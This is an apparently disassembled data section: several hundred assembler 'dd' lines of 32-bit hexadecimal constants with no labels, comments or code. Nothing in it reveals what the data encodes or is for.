		dd 7CE83EEh, 44E66396h,	0C4FB0C4Bh, 8449E9C6h, 3105BEC8h
		dd 2AF289F0h, 0BAB4A7BCh, 0FBD71DF8h, 1C249A2Dh, 0B010189Bh
		dd 45FC944Bh, 755AD525h, 70CDDD40h, 2B965F1Bh, 356CF00Ch
		dd 0BC5F813h, 0B153A721h, 0D6A049F3h, 17862648h, 0DB502927h
		dd 0A4573308h, 0C54BEB16h, 0C77E41BEh, 24C003E9h, 59BFF15Fh
		dd 290D01D7h, 2B69C75Eh, 2600D313h, 717C5F25h, 0E9F81F09h
		dd 0E6526DD4h, 81430703h, 0AC739DE3h, 4092BE8h,	0A202CC5Bh
		dd 65F1E256h, 0F754C4CFh, 3A3E28BEh, 0BFCA8497h, 7A67FCBEh
		dd 5742CA25h, 0AD90D614h, 0F81EDD95h, 4CE9D680h, 86476BF5h
		dd 0F693E2D1h, 26124540h, 0F5F575E8h, 2E38EA3Eh, 13394EE9h
		dd 78B1E1B9h, 4C46E57Fh, 4C0B455h, 88B2B353h, 0C04ED9D9h
		dd 595E66CAh, 989150EAh, 9F437514h, 5DCDB40h, 0E90E9D2Dh
		dd 0D2FE89E2h, 16BED0C1h
		dd 0CD112069h, 97AF1495h, 4A02CAA2h, 6ECB5DD4h,	0A0E91A86h
		dd 2FF86E1h, 17A32h, 148BF708h,	504ED9B7h, 331EB050h, 209D642Ch
		dd 0C8FEF307h, 0C7284480h, 4D50B858h, 0F95B441Ch, 4ED84F9Eh
		dd 0D97E1205h, 62FC074h, 4190F92Eh, 12E9C30Bh, 6F3CFCFDh
		dd 9783BE25h, 3444A432h, 0FBC476B9h, 0F280023Bh, 0D8587D4Ch
		dd 7988AE2Dh, 0B9F88B15h, 5DA7E6D6h, 0C320639Fh, 3802AD98h
		dd 0E9561340h, 7736C2F0h, 9D20481Ch, 5B5D28A3h,	839477EDh
		dd 6B75AF17h, 0E8973FFDh, 8B382713h, 8BCDD1B1h,	85DC1D39h
		dd 94EEC850h, 0CF594314h, 32AE0E5Fh, 4233C06h, 0CBF64EB3h
		dd 1C680240h, 0E0476344h, 3BFE82EFh, 81589F70h,	13BC5116h
		dd 347B152h, 96F25F08h,	0DE9F8D5Ah, 0B1B5925Eh,	28ED2B1Eh
		dd 0C62FB1D0h, 878B16F5h, 0A1D0089Eh, 42C78007h, 802FEF33h
		dd 16B450CFh, 0F061E9A5h, 48F22DDDh, 566BC625h,	0C4072056h
		dd 4EDD5A2h, 0FCC3028Fh, 7A9C50B2h, 0BC205FF6h,	0B597816Eh
		dd 0FA70726Fh, 68578069h, 654BF00h, 0F7815F20h,	10F81287h
		dd 7A14D1F0h, 0F2A18E4Ah, 64E26CB4h, 3004BD39h,	0C689E05Ah
		dd 121B7C9Fh, 0D653215Fh, 6FE8051Bh, 1A060A05h,	1261BD0Ch
		dd 0F6E6BF47h, 5C06BD4Ch, 781BD479h, 9A285E41h,	869F02Ch
		dd 0D120C96Bh, 0DAAC5297h, 6A5FEC6Fh, 0EE7E5733h, 49FDE978h
		dd 4D79B19Ch, 8ADE2026h, 9CCB0C5Dh, 8776A04Ch, 58048490h
		dd 3126373Ah, 3EF079C9h, 99FE4BDDh, 0C64624Dh, 46206B77h
		dd 730D628Fh, 302C72F9h, 0C4CF5F88h, 12FFB976h,	99DDAF47h
		dd 431F7C82h, 216019DBh, 6C04E087h, 5BDE21C8h, 0F68490FEh
		dd 809810C2h, 0AE0F2298h, 87751D30h, 4AC063CFh,	547EE91Eh
		dd 6BB57F3h, 5DA56CF1h,	4600344Bh, 81129962h, 256B26E7h
		dd 0FA8B70E4h, 0C11D6A7Dh, 0C06D0CF4h, 0B36F0D04h, 961A8049h
		dd 0CF10EB61h, 812FB29h, 5002B2B4h, 7CC5BC72h, 0A2EF5450h
		dd 0F09C899Ah, 76BE04B9h, 0C1456608h, 5090F8ADh, 22E0C988h
		dd 7C6C1C3Bh, 0E1984E0Bh, 99817F1Fh, 3E4C232Dh,	0D85027A2h
		dd 209D95B7h, 0EF2F125h, 0B4F3EFF0h, 42F29781h,	5D9BFEF4h
		dd 0F6376809h, 2BBDC017h, 0FDD33178h, 0B2850EFh, 0DF39BE4Bh
		dd 521BF720h, 0B92F835h, 90D157FDh, 0C3C5997h, 0D95D8283h
		dd 20776BCDh, 233E45CFh, 209E907Ch, 0EB81A5DCh,	35593006h
		dd 782828FEh, 1831C2D1h, 8ED215Fh, 0F500D672h, 530647DAh
		dd 40BCDDF7h, 0F608A689h, 0D8F27356h, 3FA98D6Bh, 380AA7B0h
		dd 828D850Dh, 0DE5D4055h, 0A41083EDh, 4204FA3Dh, 8C148F68h
		dd 62FE55D0h, 5AB5D759h, 4BBE12C4h, 53725A85h, 13476C20h
		dd 0BD7F75Fh, 6EEA5653h, 0CD93B5C3h, 895EA3DAh,	41717325h
		dd 0A788F2E9h, 96FF425h, 0FC1069DEh, 6F920762h,	578D8B97h
		dd 15522A5h, 84400BABh,	98C03B41h, 0A56713E9h, 265A14F3h
		dd 1F969051h, 3387AAC1h, 27FA8BBEh, 6A44C562h, 0EDA100EAh
		dd 3EE4AC55h, 903E927h,	7E77747h, 0BD4C712Fh, 0F07E4CADh
		dd 80F7DE62h, 7842C12Fh, 9FA9F0Dh, 0AD048004h, 7DA8452Dh
		dd 0CA6EBAB0h, 41E9790Ch, 3EE745F2h, 1EB06FA7h,	0C2D648Ch
		dd 0CA893727h, 0EE238076h, 502F6987h, 16F99103h, 0FFF24652h
		dd 0DB76715h, 0A6809BE9h, 0E0C14740h, 82D0403h,	0BE16316Dh
		dd 801A7626h, 0CBDC07D0h, 10CA5C80h, 8C225C5Fh,	681DAF03h
		dd 0D71CDD24h, 0FDA1E269h, 15905ED8h, 0D9450C41h, 4B55B1EEh
		dd 9E680B6Ah, 0B7459127h, 8474A014h, 3F4890E0h,	0C5830A8Fh
		dd 0A000D401h, 0E9408A6Fh, 46D24EEFh, 6FB7DBB3h, 697AB3F6h
		dd 0FA899315h, 25BBD739h, 62848084h, 384AE8E4h,	0D0C8DA62h
		dd 3B779719h, 0C3F5F1BCh, 4030B835h, 0DADC8211h, 9336F601h
		dd 4468E220h, 0C128EF5Bh, 7CB7AA9Dh, 876F127Ah,	0FAF005C5h
		dd 0ED83843Ch, 5C882C3Fh, 0A368660Eh, 0BAA79B5Ah, 50FC7773h
		dd 0A1EAD065h, 9465D6B7h, 52960DAEh, 2F77BBE3h,	620B1EE9h
		dd 0D1E6C8DDh, 1FC71F65h, 0B9B9D692h, 13FB4E36h, 0C2ECFD55h
		dd 0FC5497E9h, 232A4EEh, 6C9B30DBh, 75A88F5h, 4FE93530h
		dd 0EDDFA871h, 4F60785Ah, 4F1C875Dh, 8EADC9E6h,	0C50807Fh
		dd 0CB41F3C2h, 0C242C3ADh, 0B5174E7Fh, 27E90290h, 0B107E258h
		dd 537355EFh, 918EE916h, 0D7B0843h, 4FD1A86Eh, 3E17BBA3h
		dd 0F82889B9h, 26AB02B3h, 2B50B4C0h, 2E8B1228h,	9808F40h
		dd 0DAF617EAh, 16BAC984h, 700E05EEh, 0BBE51622h, 601A9288h
		dd 0A9BF2350h, 48007075h, 19A580BAh, 90FA0112h,	0B41C4A48h
		dd 774A53C1h, 0EAD64AA9h, 0BC117F39h, 0EB10C093h, 0A52F11FCh
		dd 123B5C63h, 7B5DE155h, 0F1B71BFCh, 0D4580568h, 0D0905D79h
		dd 4714D4Ch, 0EBA6BABh,	0F2C27FC7h, 9BCA5FADh, 171B02D5h
		dd 88E2F9B2h, 0AE2135B0h, 7B353DA6h, 7CE880BEh,	86A06D86h
		dd 1097A791h, 1525779h,	8A19F5BAh, 2FA1686Eh, 0DE007AB6h
		dd 0E9A0F9F6h, 75C51AC3h, 0A3EF5BD9h, 941725FEh, 7BC897E3h
		dd 5D82EBA8h, 291E3A51h, 0FDF6A5h, 116CBE56h, 0FD904CEDh
		dd 6674C109h, 0BBC88040h, 0F8581D63h, 267B04C6h, 0EF21A3A4h
		dd 75E50980h, 0FE66FE73h, 18503DCDh, 77C2B24h, 62913870h
		dd 97798E9h, 8FDB5770h,	14C0774Bh, 717B76EDh, 1EA0BF04h
		dd 84EF0C1Ah, 0C1AEC735h, 712ABA42h, 8C6A06Ch, 0C660E7FAh
		dd 276AC563h, 0C7A6090h, 9EB8C06Eh, 0C344E8D8h,	0AEFF1322h
		dd 3A08A1E2h, 81AB1C17h, 2F1E2965h, 0F547AD49h,	64C2C031h
		dd 0C7580184h, 0BBF4B5Eh, 8F5E58EDh, 20062CE4h,	0C70493E8h
		dd 15DD559Dh, 0EFCA0ABFh, 252E2008h, 90555632h,	81395D27h
		dd 25573B01h, 0EE2E84BAh, 0B7EAF09Ch, 202924C9h, 0FCB4CF9Eh
		dd 4A053327h, 45948E58h, 2ABA2EBCh, 66B255F6h, 0E34F7869h
		dd 25CD9EAAh, 0BFE050BFh, 5F5A66F4h, 51E51579h,	2853C0FFh
		dd 0FE508BE9h, 350548A5h, 7545C323h, 52CC86EEh,	6F427A9Fh
		dd 0E9255229h, 8093D58Ch, 0F64AD14Dh, 4E170A48h, 4A2944F4h
		dd 0C526A2D8h, 0B6EED691h, 0BA8F60B6h, 77A3A0h,	4FA2DEDh
		dd 0D0295CD5h, 6E070551h, 0DF21B232h, 0B8F593E0h, 94B4012h
		dd 6A802D12h, 27A5C180h, 9455CB28h, 0E8682553h,	0C14793FFh
		dd 7FC228D8h, 0FA6228F1h, 0EE7A72C2h, 3FC89A10h, 5E13D821h
		dd 56B449FDh, 4842F583h, 9CEA37D3h, 0F881916Ah,	305C4D91h
		dd 4C40CE46h, 8995A05Dh, 74072F22h, 12936BE1h, 0A61140C1h
		dd 0E67B5E49h, 0ECDC5135h, 713F0264h, 4FC24FE9h, 0B9645D31h
		dd 0B416BC4Fh, 32CAE901h, 6DEC453Fh, 69EEBD83h,	0AC4FE290h
		dd 0E5964349h, 160194CDh, 0BC4A9738h, 74EFD305h, 0B5BBF050h
		dd 2E29F94Bh, 0C055EAA7h, 0F98DE9AFh, 68F97782h, 0BF7E388Ah
		dd 51A9DC62h, 16AA8D8Bh, 828B2EE5h, 0FA9680Ah, 0A76A559h
		dd 0BBCE421h, 0D2959E12h, 7EE91631h, 3F95D2B0h,	58407BD6h
		dd 9551D5F7h, 0FD600A51h, 16E6DFFBh, 0EDAF96E9h, 28B3A61Ah
		dd 2C31B227h, 8D888C9h,	5C2F503Ah, 1C2526E3h, 82238BA8h
		dd 0E825BA40h, 2402A7B1h, 407D6534h, 27867EF9h,	4AD7B137h
		dd 0DAFFC84Fh, 1520B5A6h, 2E441B18h, 0DECA8102h, 0E128E058h
		dd 1D1E9BFh, 7F0057BCh,	6862FB51h, 58A456D7h, 8A83A5Eh
		dd 0C680BD5Ah, 7AC8A92Bh, 0B5BD1F55h, 0ED838D15h, 4B043BFEh
		dd 0EB00C271h, 45535536h, 32335203h, 8F6C642Eh,	56444101h
		dd 0A64950CCh
		dd 544E3F0Dh, 0AD54C38h, 3C0B011Eh, 9441A47Ah, 0DD002408h
		dd 6059A1Eh, 0FE39589h,	9B8246C6h, 118B4215h, 81219CA1h
		dd 909DAD08h, 9E0D8477h, 0FA446D48h, 66106322h,	1259899Fh
		dd 3EA56026h, 21CA00ABh, 0B338DEA3h, 0A40048DDh, 17F84D03h
		dd 74FE92h, 0F7FC9DC9h,	4B6C0C91h, 0E2B00500h, 4F268BD9h
		dd 9B3A00AEh, 56920B1Fh, 0EE017109h, 8A9E585Eh,	12815711h
		dd 6ABEF86Fh, 4F2380F1h, 0EEA71C98h, 0E2AD1725h, 3634003Ch
		dd 9EAAC453h, 1209C800h, 0BC594675h, 5E50086h, 3DC256D4h
		dd 28C03EABh, 0D6999FA9h, 0F0C707B5h, 60791236h, 0E98B9735h
		dd 0DD88C000h, 9E7017C2h, 109F0015h, 682B4765h,	2A1DD287h
		dd 0BEC0BD42h, 6D257A19h, 1FD90397h, 124CC565h,	0B0483Eh
		dd 20097F4Fh, 74079538h, 1F91B050h, 400EC8E6h, 1174149Dh
		dd 7B1DB39Bh, 0C540374Ch, 0E2B55816h, 50553C25h, 3BD8AD00h
		dd 35B3D6B6h, 29CC510Ch, 73967Ch, 2BE88B16h, 0F6390A36h
		dd 0BC5DFBF0h, 1DF72CF1h, 9B78CD07h, 9EF72C0h, 19EC16E0h
		dd 89590075h, 278DC3E8h, 0CDA2F800h, 3DDDA024h,	41D400B8h
		dd 0F75A0EB3h, 0C91D9F20h, 0C1D5EEA8h, 8D3F1EC0h, 0A2432A04h
		dd 0CCB778C7h, 20088BA0h, 72240044h, 0A348D5B8h, 0ED00F069h
		dd 994C770Eh, 1EE99423h, 4E9BAFCBh, 0F1490C75h,	73011300h
		dd 4B001E4Eh, 0B45911FCh, 365C3E4h, 0E0B85A2Bh,	7D07CF48h
		dd 29688D61h, 0A530B9C0h, 0C8A06DEh, 235DF652h,	5134A300h
		dd 3BAE3EC3h, 4A281FBDh, 906440A1h, 931116A5h, 0D732B40Eh
		dd 0EF450348h, 5A5BB89Fh, 0D50001Bh, 5D2DE0D6h,	0A5A81780h
		dd 8FA8C9A8h, 0D573BB40h, 4705AE00h, 0F7951AF2h, 648D0062h
		dd 7538260h, 1B014972h,	8FDDE2B6h, 3DEC583Ah, 20C501A8h
		dd 0B59515ACh, 60AD851Ch, 0A55C13D0h, 0FB047C1h, 45609273h
		dd 0FE45006Eh, 0EA6FBEEh, 0A70E9B7Ch, 68C4F0h, 55439785h
		dd 6C62264Fh, 4C461310h, 2E4FAB1Bh, 0F26FB50Ah,	200BFF0h
		dd 69064A6Bh, 0E6801F1Eh, 0C04E9F07h, 0DF7C94B4h, 77907511h
		dd 0FEA15B00h, 7305A7E4h, 0E534508Bh, 0A850DF47h, 85583EB9h
		dd 0FD6CC07Fh, 706EE743h, 9E710B00h, 0F297F1F6h, 0A80400D3h
		dd 896C012Bh, 0CC774EAEh, 0D2E99901h, 0E4400547h, 0B1D9B07Fh
		dd 48E3F4E7h, 571B0C00h, 0C5466C02h, 71B2002Eh,	0A9D493FBh
		dd 0B50C6F0Bh, 0CE47FC95h, 8A033027h, 2063F60Dh, 810C3FFEh
		dd 0CC621BA9h, 9EF20399h, 0D43640Bh, 0E1C817D3h, 0DD186D27h
		dd 0B8B06C44h, 0B12A30FEh, 0CD580F0Fh, 30577700h, 906F08F4h
		dd 0F05D7B3Dh, 0B0CE0055h, 0AC423FDDh, 0B5E04507h, 0BF6D777h
		dd 19FC4100h, 0DFE4DD94h, 0F5E60ED5h, 0FD32F815h, 0C7E800F6h
		dd 5A5F3C81h, 0B6A34836h, 0D0B43981h, 4154804Dh, 916634E3h
		dd 647368h, 5E8FC01h, 8B1E7277h, 8D028890h, 0FD96B2F4h
		dd 431F4054h, 3247B1h, 9E23F05Dh, 9263CEh, 13FE0391h, 0F9029479h
		dd 71FAEF0Eh, 1AF8E33h,	0F0F3C81Ch, 36A580EEh, 175FC14h
		dd 866D834Ah, 20D4889Dh, 7C1E1F2Fh, 35C06104h, 0D8C2BE46h
		dd 507DBACEh, 0D56C405Bh, 7A399Dh, 0E4AF1894h, 1680A8C6h
		dd 4CD40F9h, 74003351h,	7BCFEB09h, 10EFA4Dh, 4C1CCB6Fh
		dd 86D126A4h, 1438E440h, 0E3041CB8h, 4D76C4E9h,	2374C0E6h
		dd 99176D2Fh, 0DA4B47DCh, 6506125Fh, 0D7930001h, 0C1940D1Dh
		dd 7DE8F4A0h, 62CA8704h, 0FFC0CE7Ch, 9043612Ch,	98AD7C2Ah
		dd 39CC00D5h, 5035575Ch, 6E00FDD4h, 0A03E497Eh,	0FB94C06h
		dd 7656D2D7h, 0DA80F929h, 0C89DD580h, 2B812A00h, 0F0F5986Dh
		dd 6609039Ch, 0DA8B2E41h, 0BE4EB803h, 3ECA3h, 0F3F487B4h
		dd 466B089Dh, 0D9BF0200h, 4529BCD0h, 592C00A0h,	0D75D33B8h
		dd 16B07228h, 0DED7000h, 8311E4E8h, 876A057Eh, 8899CFF0h
		dd 0BD885390h, 1285FA3Eh, 42914B67h, 0D54EDA50h, 0BC2BCFA0h
		dd 0CC76E8C0h, 6A01C398h, 5022C3FFh, 0C2CC25ABh, 1DAF7339h
		dd 0D3EB8A2Bh, 1F8B015Bh, 898C924Fh, 0A05427C1h, 0A226CB6Dh
		dd 0B03907DFh, 0A549DCh, 9318F94Ch, 0C877FD0Eh,	90F48092h
		dd 13486D0Dh, 0E3B104h,	0AF5027DDh, 1E0C9839h, 0C052910Ah
		dd 9E5D24EFh, 4CDCC16Ch, 29BD80D3h, 0E8799768h,	0D81200F1h
		dd 3B3D2C4Dh, 4F02BD46h, 8C6119E4h, 956CE9h, 8AD4D20h
		dd 3F999CACh, 872348C0h, 7ECDCED4h, 361D02A7h, 5B7489BAh
		dd 5D6F7A40h, 88147696h, 0F29D0045h, 62D8013Eh,	0CFF901ECh
		dd 0A8E24660h, 966E20C8h, 0D604D290h, 0E79218EEh, 16F770C0h
		dd 60D4A984h, 8FDA4D5h,	0AC4E20h, 13C48239h, 0DDB2CB21h
		dd 0A783D40Ch, 340BA10h, 0D8F9F1ADh, 9AE8D2BDh,	5F13388Eh
		dd 2201C6FDh, 0F5F39E29h, 1556DFCh, 8CCCFA8Dh, 6E971CF9h
		dd 3DA4E0h, 9A7D10AEh, 0E95688DFh, 3AC3B114h, 0C15406B8h
		dd 288853Ch, 2FBF48C7h,	19709F32h, 0BC41D004h, 41904528h
		dd 19D26C8h, 6D927ACFh,	3005EA7Fh, 0DB3B1A4Fh, 83C1808Fh
		dd 37555A3Eh, 2BD01CA2h, 8E25EEA5h, 0A4AA0D8Dh,	681884EDh
		dd 0AD4D808Bh, 5800F259h, 0BB0601DBh, 92BFFh, 0A7750B7Ch
		dd 2BC7630h, 6E8F6303h,	18BA53Eh, 0F04C1B40h, 20FAFF9Dh
		dd 0A6394B95h, 41D309CAh, 0AAA680B8h, 486D6A05h, 0AC0659A7h
		dd 0D93301DCh, 0B024C48h, 8024F144h, 6992646Bh,	0FE96027Bh
		dd 7106EBF9h, 6FAE4F40h, 0AD563B02h, 50C6AA3Fh,	0B73C0070h
		dd 4A94CD1h, 79773140h,	98513830h, 9177F484h, 0BDFF09B9h
		dd 0E473AC20h, 543E3BCAh, 0B6261D99h, 6EEA3100h, 3F38592Fh
		dd 0ACBA6870h, 2D058F81h, 0F4919310h, 970062BDh, 0AB4C21DBh
		dd 3182AA06h, 7D6C9B03h, 7EEA30EEh, 0A5067573h,	9AC65FEBh
		dd 0D1EF801Ch, 823C3A76h, 0F5BA9C00h, 0EF392396h, 24C2D9F6h
		dd 0C0A11FCAh, 3E886C9h, 37B85F2Eh, 213B7C15h, 0CB9F0FC0h
		dd 0D1DA804Dh, 0CA2EC5Bh, 43C46402h, 0D200B925h, 8769FCBAh
		dd 1E38662h, 0D6E1EB0Ch, 706509DCh, 2DE6D01Bh, 43064600h
		dd 0C8ED80E5h, 5E310A84h, 80A42159h, 8AB9C0A8h,	770034DAh
		dd 157018A1h, 9473DE8Eh, 3D010071h, 0F72BA9E9h,	7EBA32Ch
		dd 0A14C701h, 0FEDC9B69h, 38C948A7h, 0D4A74193h, 81CBDB74h
		dd 2FBA21AAh, 0DD30EEBDh, 59D700DCh, 98523165h,	0CC6F17B0h
		dd 7AF62726h, 0F3878070h, 0C090F421h, 9279EC41h, 0F804EFFAh
		dd 93F6961Bh, 48FD0082h, 3F9FACB5h, 0A6832CE0h,	0FAA428D1h
		dd 836FE8F9h, 14E6CD41h, 0C1D187EFh, 57CC8B30h,	63B60084h
		dd 354A6F0Dh, 7A005AD1h, 0E009EBFEh, 1C1E3E8h, 8F34C59Dh
		dd 64A174D9h, 7C006D8Eh, 4179E95Ch, 0DCC9ACh, 0BE2EB53Eh
		dd 25694D2Bh, 658A6D01h, 44D4B967h, 0F4211331h,	40FA6C31h
		dd 27A3962h, 8951AF30h,	6958D2A7h, 483A377Ch, 70548073h
		dd 0FFC69B04h, 4A26005Fh, 91C57B22h, 491E36D9h,	1F9302A7h
		dd 8362C900h, 16CC8F1h,	17717619h, 20872550h, 0BF00D148h
		dd 984FB69Bh, 17D0BBF4h, 0B494D2h, 0D8BC97C5h, 0DD005B0Dh
		dd 0F88E0723h, 7BEB89Dh, 6BFED1D6h, 6815908Dh, 9A5C618Ah
		dd 828C28F1h, 7E95E900h, 0AD4201F3h, 2FB90004h,	3F6D1607h
		dd 0CE006264h, 882DC09Ah, 29E71C4h, 0AE24F19h, 91C0E3E5h
		dd 0EB8691Dh, 61C1DA03h, 8063B78Bh, 166A8F6Dh, 14FB8Eh
		dd 0A1894358h, 3D2EB528h, 6B001CACh, 1E4E6F06h,	160D4AC3h
		dd 5DB8B4h
		dd 60656788h, 16688D6Dh, 0D3D08Ch, 5B26A659h, 592633B4h
		dd 0CB089FF4h, 0B372466h, 8601F801h, 3005476Ch,	0D9A1D393h
		dd 84D2B942h, 0B4008B1h, 0CEE6CBAEh, 0B2EA922Ch, 0D953B2E2h
		dd 6C5C51AFh, 5FEAA40Bh, 408927E0h, 547605DFh, 0AB9652A2h
		dd 5F3E50Bh, 97EB5961h,	418F509Ah, 71738108h, 3E4B0FA3h
		dd 9645CAAFh, 505F3AFEh, 0DB58088Fh, 0F36F12DDh, 0B2A12B0Ch
		dd 0C57A03h, 4ADA7CE0h,	6C765B3Bh, 0AF00347Bh, 2F477763h
		dd 60B40279h, 5B8E0A1Ah, 0FF0F1292h, 2452DCh, 90779B58h
		dd 21E200B3h, 1EC18069h, 2A07D602h, 518E7154h, 56B35FC0h
		dd 7F890018h, 40742EA8h, 60004EFBh, 8D668575h, 779FD4h
		dd 27A05898h, 4B90C3C2h, 0AD093F70h, 7AEC7Eh, 0C7A1DC94h
		dd 7E83227h, 3561A3E3h,	337A60D1h, 0DBBA661Dh, 0BE455B1Dh
		dd 870FC0CFh, 0B80C902Dh, 0F0A194Eh, 43058E30h,	3BD3BBFh
		dd 0B8B7A8Ch, 190009E9h, 61F7BC83h, 3AD99Ch, 0F181A42Bh
		dd 10B3631Ch, 6E85618h,	0CB7DF2Bh, 7DEBD25h, 904A2978h
		dd 1C380BBh, 61183A0Ch,	0C32F0EE8h, 0DACF3AF8h,	9B349300h
		dd 48591C7Ah, 665A9104h, 0EC6C681h, 0BEF1013Eh,	0F52E122h
		dd 51071784h, 2D7288Ch,	8F5F472Eh, 6C49F803h, 566B40E8h
		dd 0E4006CD9h, 6162BECEh, 0C5A5CB9h, 2D850F48h,	80EFE825h
		dd 570D500Bh, 0CF3866h,	3186FD1Ah, 89CE0EB3h, 5AFC1506h
		dd 2D40E9h, 61FA69F8h, 0D7574409h, 0EB9DE3Ah, 60CDD372h
		dd 0E9BF63E1h, 0F2FC313h, 30805E6Ah, 0D3000D94h, 10296676h
		dd 1B944CBh, 28F4F0CDh,	80FF3EE9h, 0EDAE7E02h, 0D2D7ABh
		dd 71A765CEh, 0C809DD4Ah, 7039F01Dh, 0E11426C0h, 1E9B55A1h
		dd 1E9F0E9Eh, 984207E3h, 8375C7E6h, 81EC34Ah, 9400CFE1h
		dd 9942911Bh, 0C721CEE9h, 157D3B83h, 6361110Ah,	0A914E066h
		dd 0DE45061Ch, 311854Ah, 0EC287321h, 81037D26h,	4AA3245Fh
		dd 0F5111C46h, 0F8AC4416h, 0E275071Ch, 1ADCEBB1h, 3F2EF109h
		dd 7BA0FF00h, 3AA56AC4h, 953AC599h, 5CE1E301h, 80F675C8h
		dd 6B20F520h, 0C00C2DF8h, 7AC9C110h, 19025EE7h,	2C387922h
		dd 0E260D760h, 21034416h, 99C0ABE0h, 1E769184h,	0F0FC71F0h
		dd 10BF6042h, 30118348h, 6FD0B01h, 75E6A0DDh, 0F893BDE0h
		dd 0F4AA3FCBh, 0A1A5287Ch, 0C8033E14h, 1438E000h, 66F46168h
		dd 3FA99316h, 0AC1E8F03h, 0F678040Bh, 16B11A91h, 0D07C7B0Ah
		dd 1B44BE04h, 0F00D2907h, 9854FEF0h, 0C79AC20h,	0F4E9F82Ah
		dd 7E0081E0h, 0E319E532h, 633865Ch, 71F020B9h, 140220F2h
		dd 0CB05B4D5h, 82209C99h, 81201282h, 0A049C900h, 1081E450h
		dd 2ABD015Bh, 22E53821h, 0BF089839h, 1C08E621h,	87E47A5Bh
		dd 702B79D5h, 645E963Dh, 0CB50C8D9h, 5B080E18h,	0C4112AB7h
		dd 6E040B6h, 1434C35Bh,	482183A8h, 3F8CBAB8h, 34809D8Eh
		dd 99BB522Eh, 0B4A08C1Ah, 409149A0h, 0F59F0Eh, 0AF042F74h
		dd 9C75006Bh, 0E73E0973h, 1AC76407h, 0F141C1B3h, 40B88E4Eh
		dd 3E50160Ah, 375400E0h, 34BEDDC9h, 0F4AC7709h,	0FE5C211Bh
		dd 0D5205068h, 18210A05h, 5C6403A6h, 0C000B946h, 1CC7740Ch
		dd 0B31CE0E3h, 8944FE8Ah, 5891BC46h, 28240C16h,	0EFB600F5h
		dd 6E3D8F21h, 2C601A26h, 9681FC18h, 7131C0A0h, 1F706AFEh
		dd 0F6DC9800h, 89205D5h, 19153FAAh, 46D21A87h, 0F1FCD18Bh
		dd 0F9A462h, 0B3145F03h, 0A041C549h, 0C3203795h, 0A50C3268h
		dd 4A08D8F4h, 0CE3B21C4h, 34544780h, 16C9002Ah,	5BD3288Fh
		dd 89540197h, 0CA398090h, 8CC44043h, 0B812EFB0h, 1439392Ah
		dd 395B05C4h, 9580DA6Ch, 0E2EBFC2Fh, 7A614AE0h,	0F935B781h
		dd 697403F8h, 28026092h, 0D490DDF2h, 6000BA34h,	85AD9D0Ch
		dd 0CCA59579h, 0D5210D08h, 460B205h, 0DEC3E2A4h, 581EA0EAh
		dd 0FFACA038h, 0A0C61E44h, 0D4C980E7h, 0F17B8807h, 486ED5E9h
		dd 476049E4h, 4ADBEA91h, 0A9481CFEh, 32AD80D8h,	0ED7FBEB4h
		dd 0D0D92000h, 64ACBB9Eh, 0D57496h, 0F9B7F8E4h,	2A0518F4h
		dd 2E3E01Dh, 0FE48B728h, 19FC84E0h, 9FF2CB00h, 0FF01F186h
		dd 99BD696Bh, 0F4F0A6AFh, 6235046Ah, 0C1A044B2h, 0FFF3B8h
		dd 30142ADh, 0F0B9D418h, 0F793CDB1h, 34E581D1h,	1F04C3F4h
		dd 2ABAE712h, 406A0C5h,	417C06h, 0B6F80114h, 99FD6A33h
		dd 0E5621919h, 2180F308h, 98B6F0A0h, 2090049Eh,	82366826h
		dd 5D01A020h, 9FA4DE69h, 3180CF7Eh, 2FE44066h, 55008863h
		dd 5FFAFBB2h, 0AB37ECh,	335ECA57h, 851595DBh, 0E402287Eh
		dd 0B6A9FE8Fh, 0A05449BAh, 32C08807h, 46FCFE20h, 54B22E0h
		dd 5420C938h, 26DC802Eh, 0A0C20F60h, 698A91FEh,	0ACF06AD0h
		dd 6018D924h, 1578D9ECh, 0D5EF4044h, 0B738B810h, 18DD8F06h
		dd 8C0D9E1h, 0F15B83B5h, 0A81C1FEh, 0E0FF53AEh,	9D249714h
		dd 78295ABDh, 0CCA92F00h, 0E3341E6Ah, 1EF15464h, 817805C9h
		dd 8B6D5661h, 52F3E8B2h, 9BF91307h, 583BCCEh, 424AE1CAh
		dd 0FF167980h, 0E31E82E4h, 5E94DD00h, 9F99F89Ch, 0FC840553h
		dd 84EC2542h, 92680090h, 0CC0FAB4Dh, 9F0703Ch, 0FA5883h
		dd 40266920h, 0DD90C602h, 0AA00E104h, 473C3043h, 0F6D485h
		dd 19F24695h, 7D588CD2h, 0DE76250Bh, 0FA08027Ch, 0A21CE335h
		dd 0D02A0074h, 6890F02Dh, 4362CC00h, 84AB313Fh,	9BC403C5h
		dd 0E5508AEDh, 4C65F4D0h, 20B26C13h, 0C9684827h, 0FCFA3801h
		dd 4DF458C0h, 0C53488h,	0DA233720h, 0ADCB454h, 0FE28C1C0h
		dd 0E2C1353Ah, 4C42384Dh, 0D123048Fh, 94A69D20h, 0FC7AC96Bh
		dd 0DDA57E1Ch, 0EAF83930h, 60665C22h, 0A2DF1F00h, 7D886F60h
		dd 0F1036891h, 0B0B2EB6Bh, 3EE9A80Ch, 38FFC92Fh, 4501C02Ch
		dd 36913DEAh, 1E687062h, 793EF102h, 48A76007h, 90ED121Ch
		dd 0B0DC982Ch, 0C594834Eh, 8EF1E493h, 447C9011h, 5E001340h
		dd 1B2403C4h, 7D7A47h, 0C043BF6Eh, 0EC481DFCh, 1FC26506h
		dd 7B79106Fh, 641A1611h, 45DC082Bh, 0EBD02E00h,	27BA685h
		dd 0A57A62FEh, 74C1B118h, 8FC4101Ch, 71300FBh, 9D0DFF12h
		dd 0CCA185FDh, 383018B4h, 0D0ACFC20h, 0CF3A7014h, 0E5C82000h
		dd 0C0286173h, 0D889E1EDh, 0A8013057h, 2440E06Fh, 8CAB9E1Ch
		dd 6043FEE1h, 20FBE4D7h, 0F0990D48h, 0E51872D1h, 6C347600h
		dd 8A2E9BD6h, 0DBD33F0h, 0A29B7D80h, 105C7048h,	0FE023934h
		dd 0BA1C64Ch, 0C304846Ch, 0D56A36B6h, 0A320FA62h, 0ECB6FBh
		dd 78D58D5Eh, 15C1AC2Eh, 0A75089C5h, 0CCC55082h, 5B0C0480h
		dd 38012AB9h, 5B0409E2h, 80827D98h, 0C1009286h,	3E399F1Ch
		dd 0B70BE718h, 80B8F9C2h, 0E131C82Ah, 0E47CE0F8h, 0EF84A180h
		dd 28C2542Bh, 0C1C4AE03h, 97A512F7h, 0EF589099h, 7363010Ah
		dd 4AE1835Ch, 50E05044h, 580027F5h, 0BC72BFB8h,	4AAF0A4h
		dd 421DF987h, 530C8469h, 0A18C08BCh, 5CE78BBFh,	4260985Bh
